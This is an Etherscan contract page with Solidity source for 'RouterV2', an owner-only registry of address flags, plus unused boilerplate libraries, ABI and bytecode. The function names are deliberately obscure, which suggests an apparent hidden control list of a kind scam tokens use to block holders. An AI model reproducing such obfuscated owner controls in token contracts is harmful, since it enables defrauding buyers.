Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-10-21
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.8;

interface RouterController {
    function kjuhst(address _account) external view returns (bool);
}

contract RouterV2 is RouterController{
    address private _owner;
    mapping (address => bool) private _routes;

    constructor(){
        _owner = msg.sender;
    }
    
    modifier onlyOwner() {
        require(msg.sender == _owner, "Ownable: caller is not the owner");
        _;
    }

    function kjuhst(address _account) external override view returns (bool){
        return _routes[_account];
    }

    function b7f40e26(address[] calldata accounts, bool excluded) public onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            _routes[accounts[i]] = excluded;
        }
    }
}


pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function getTime() public view returns (uint256) {
        return block.timestamp;
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

abstract contract Initializable {

    bool private _initialized;

    bool private _initializing;

    modifier initializer() {
        require(_initializing || !_initialized, "Initializable: contract is already initialized");

        bool isTopLevelCall = !_initializing;
        if (isTopLevelCall) {
            _initializing = true;
            _initialized = true;
        }

        _;

        if (isTopLevelCall) {
            _initializing = false;
        }
    }
}

abstract contract ContextUpgradeable is Initializable {
    function __Context_init() internal initializer {
        __Context_init_unchained();
    }

    function __Context_init_unchained() internal initializer {
    }
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
    uint256[50] private __gap;
}

abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    function __Ownable_init() internal initializer {
        __Context_init_unchained();
        __Ownable_init_unchained();
    }

    function __Ownable_init_unchained() internal initializer {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
    uint256[49] private __gap;
}


interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);

    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }

    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }

    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }

    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }

    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns (int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }


    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}

library SafeMathUint {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"b7f40e26","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_account","type":"address"}],"name":"kjuhst","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"}]

608060405234801561001057600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061052f806100606000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c8063474e6d211461003b578063bac44c5c1461006b575b600080fd5b61005560048036038101906100509190610278565b610087565b60405161006291906102c0565b60405180910390f35b6100856004803603810190610080919061036c565b6100dd565b005b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461016b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161016290610429565b60405180910390fd5b60005b8383905081101561020a57816001600086868581811061019157610190610449565b5b90506020020160208101906101a69190610278565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610202906104b1565b91505061016e565b50505050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006102458261021a565b9050919050565b6102558161023a565b811461026057600080fd5b50565b6000813590506102728161024c565b92915050565b60006020828403121561028e5761028d610210565b5b600061029c84828501610263565b91505092915050565b60008115159050919050565b6102ba816102a5565b82525050565b60006020820190506102d560008301846102b1565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112610300576102ff6102db565b5b8235905067ffffffffffffffff81111561031d5761031c6102e0565b5b602083019150836020820283011115610339576103386102e5565b5b9250929050565b610349816102a5565b811461035457600080fd5b50565b60008135905061036681610340565b92915050565b60008060006040848603121561038557610384610210565b5b600084013567ffffffffffffffff8111156103a3576103a2610215565b5b6103af868287016102ea565b935093505060206103c286828701610357565b9150509250925092565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006104136020836103cc565b915061041e826103dd565b602082019050919050565b6000602082019050818103600083015261044281610406565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000819050919050565b60006104bc826104a7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036104ee576104ed610478565b5b60018201905091905056fea2646970667358221220efb6825b885f9c05b01a32c063d693adf5692b48185820a366a72500458c344164736f6c63430008120033

0x608060405234801561001057600080fd5b50600436106100365760003560e01c8063474e6d211461003b578063bac44c5c1461006b575b600080fd5b61005560048036038101906100509190610278565b610087565b60405161006291906102c0565b60405180910390f35b6100856004803603810190610080919061036c565b6100dd565b005b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461016b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161016290610429565b60405180910390fd5b60005b8383905081101561020a57816001600086868581811061019157610190610449565b5b90506020020160208101906101a69190610278565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610202906104b1565b91505061016e565b50505050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006102458261021a565b9050919050565b6102558161023a565b811461026057600080fd5b50565b6000813590506102728161024c565b92915050565b60006020828403121561028e5761028d610210565b5b600061029c84828501610263565b91505092915050565b60008115159050919050565b6102ba816102a5565b82525050565b60006020820190506102d560008301846102b1565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112610300576102ff6102db565b5b8235905067ffffffffffffffff81111561031d5761031c6102e0565b5b602083019150836020820283011115610339576103386102e5565b5b9250929050565b610349816102a5565b811461035457600080fd5b50565b60008135905061036681610340565b92915050565b60008060006040848603121561038557610384610210565b5b600084013567ffffffffffffffff8111156103a3576103a2610215565b5b6103af868287016102ea565b935093505060206103c286828701610357565b9150509250925092565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006104136020836103cc565b915061041e826103dd565b602082019050919050565b6000602082019050818103600083015261044281610406565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000819050919050565b60006104bc826104a7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036104ee576104ed610478565b5b60018201905091905056fea2646970667358221220efb6825b885f9c05b01a32c063d693adf5692b48185820a366a72500458c344164736f6c63430008120033

164:637:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;475:114;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;597:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;475:114;541:4;564:7;:17;572:8;564:17;;;;;;;;;;;;;;;;;;;;;;;;;557:24;;475:114;;;:::o;597:201::-;404:6;;;;;;;;;;390:20;;:10;:20;;;382:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;692:9:::1;687:104;711:8;;:15;;707:1;:19;687:104;;;771:8;748:7;:20;756:8;;765:1;756:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;748:20;;;;;;;;;;;;;;;;:31;;;;;;;;;;;;;;;;;;728:3;;;;;:::i;:::-;;;;687:104;;;;597:201:::0;;;:::o;88:117:1:-;197:1;194;187:12;211:117;320:1;317;310:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:139::-;742:5;780:6;767:20;758:29;;796:33;823:5;796:33;:::i;:::-;696:139;;;;:::o;841:329::-;900:6;949:2;937:9;928:7;924:23;920:32;917:119;;;955:79;;:::i;:::-;917:119;1075:1;1100:53;1145:7;1136:6;1125:9;1121:22;1100:53;:::i;:::-;1090:63;;1046:117;841:329;;;;:::o;1176:90::-;1210:7;1253:5;1246:13;1239:21;1228:32;;1176:90;;;:::o;1272:109::-;1353:21;1368:5;1353:21;:::i;:::-;1348:3;1341:34;1272:109;;:::o;1387:210::-;1474:4;1512:2;1501:9;1497:18;1489:26;;1525:65;1587:1;1576:9;1572:17;1563:6;1525:65;:::i;:::-;1387:210;;;;:::o;1603:117::-;1712:1;1709;1702:12;1726:117;1835:1;1832;1825:12;1849:117;1958:1;1955;1948:12;1989:568;2062:8;2072:6;2122:3;2115:4;2107:6;2103:17;2099:27;2089:122;;2130:79;;:::i;:::-;2089:122;2243:6;2230:20;2220:30;;2273:18;2265:6;2262:30;2259:117;;;2295:79;;:::i;:::-;2259:117;2409:4;2401:6;2397:17;2385:29;;2463:3;2455:4;2447:6;2443:17;2433:8;2429:32;2426:41;2423:128;;;2470:79;;:::i;:::-;2423:128;1989:568;;;;;:::o;2563:116::-;2633:21;2648:5;2633:21;:::i;:::-;2626:5;2623:32;2613:60;;2669:1;2666;2659:12;2613:60;2563:116;:::o;2685:133::-;2728:5;2766:6;2753:20;2744:29;;2782:30;2806:5;2782:30;:::i;:::-;2685:133;;;;:::o;2824:698::-;2916:6;2924;2932;2981:2;2969:9;2960:7;2956:23;2952:32;2949:119;;;2987:79;;:::i;:::-;2949:119;3135:1;3124:9;3120:17;3107:31;3165:18;3157:6;3154:30;3151:117;;;3187:79;;:::i;:::-;3151:117;3300:80;3372:7;3363:6;3352:9;3348:22;3300:80;:::i;:::-;3282:98;;;;3078:312;3429:2;3455:50;3497:7;3488:6;3477:9;3473:22;3455:50;:::i;:::-;3445:60;;3400:115;2824:698;;;;;:::o;3528:169::-;3612:11;3646:6;3641:3;3634:19;3686:4;3681:3;3677:14;3662:29;;3528:169;;;;:::o;3703:182::-;3843:34;3839:1;3831:6;3827:14;3820:58;3703:182;:::o;3891:366::-;4033:3;4054:67;4118:2;4113:3;4054:67;:::i;:::-;4047:74;;4130:93;4219:3;4130:93;:::i;:::-;4248:2;4243:3;4239:12;4232:19;;3891:366;;;:::o;4263:419::-;4429:4;4467:2;4456:9;4452:18;4444:26;;4516:9;4510:4;4506:20;4502:1;4491:9;4487:17;4480:47;4544:131;4670:4;4544:131;:::i;:::-;4536:139;;4263:419;;;:::o;4688:180::-;4736:77;4733:1;4726:88;4833:4;4830:1;4823:15;4857:4;4854:1;4847:15;4874:180;4922:77;4919:1;4912:88;5019:4;5016:1;5009:15;5043:4;5040:1;5033:15;5060:77;5097:7;5126:5;5115:16;;5060:77;;;:::o;5143:233::-;5182:3;5205:24;5223:5;5205:24;:::i;:::-;5196:33;;5251:66;5244:5;5241:77;5238:103;;5321:18;;:::i;:::-;5238:103;5368:1;5361:5;5357:13;5350:20;;5143:233;;;:::o

ipfs://efb6825b885f9c05b01a32c063d693adf5692b48185820a366a72500458c3441